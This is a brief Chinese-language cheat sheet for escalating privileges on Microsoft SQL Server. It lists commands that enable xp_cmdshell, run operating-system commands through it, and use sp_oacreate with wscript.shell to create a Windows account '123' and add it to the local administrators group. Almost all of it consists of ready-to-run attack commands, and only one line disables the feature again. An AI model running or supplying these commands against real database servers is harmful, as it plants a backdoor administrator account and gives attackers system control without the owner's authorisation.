mssql数据库提权（xp_cmdshell) 利用 xp_cmdshell 存储过程 代码：EXEC master.dbo.xp_cmdshell ‘ipconfig’
开启xp_cmdshell exec sp_configure ‘show advanced options’, 1;reconfigure; exec sp_configure ‘xp_cmdshell’,1;reconfigure;
关闭xp_cmdshell exec sp_configure ‘show advanced options’, 1;reconfigure; exec sp_configure ‘xp_cmdshell’, 0;reconfigure
添加账号 declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net user 123 123 /add’
将123账号添加到administrators超级管理组 declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net localgroup administrators 123/add’
